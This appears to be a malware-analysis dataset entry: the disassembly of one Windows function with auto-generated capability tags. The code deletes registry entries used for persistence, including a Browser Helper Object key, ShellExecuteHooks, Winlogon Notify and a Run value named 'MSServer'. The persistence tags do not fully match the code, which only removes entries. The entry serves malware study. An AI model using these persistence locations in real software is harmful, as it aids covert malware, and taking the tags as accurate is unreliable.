Function at 0x10004e48
Capabilities:
Check os version
Delete registry key
Delete registry value
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects_
lea eax, [ebp - 0x10c]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, str.C8DF5002_7A3B_43FB_9CD2_55D64B325DE4
push esi
lea eax, [ebp - 0x10c]
push eax
call edi
lea eax, [ebp - 0x10c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.CLSID_
lea eax, [ebp - 0x10c]
push eax
call ebx
push esi
lea eax, [ebp - 0x10c]
push eax
call edi
lea eax, [ebp - 0x10c]
push eax
push 0x80000000
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
cmp byte [0x1000d0bd], 0
je 0x10004eff
lea ecx, [ebp - 8]
push ecx
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
push 0xf003f
push eax
push eax
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShellExecuteHooks
push 0x80000002
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10004eff
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x26
pop ecx
xor eax, eax
mov dword [ebp - 0x1a8], 0x9c
lea edi, [ebp - 0x1a4]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp byte [0x1000d0bd], 0
mov al, byte [0x1000d0be]
je 0x10004faa
test al, al
je 0x10004faa
cmp dword [ebp - 0x1a4], 5
ja 0x10004faa
push 0x40
xor eax, eax
cmp byte [0x10006128], 0
mov byte [ebp - 0x10c], 0
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x10006128
jne 0x10004f9a
push 0x104
push esi
push dword [0x10006018]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push eax
push esi
call fcn.10004566
pop ecx
pop ecx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogonNotify_
push esi
call ebx
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor esi, esi
jmp 0x10004ff4
lea ecx, [ebp - 8]
push ecx
xor esi, esi
lea ecx, [ebp - 4]
push ecx
push esi
xor ecx, ecx
push 0xf003f
test al, al
push esi
setne cl
push esi
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
mov dword [ebp - 4], esi
add ecx, 0x80000001
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10004ff4
push str.MSServer
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionControl_PanelSettings
push 0x80000002
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
pop edi
pop esi
pop ebx
jne 0x1000502d
push str.Time
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret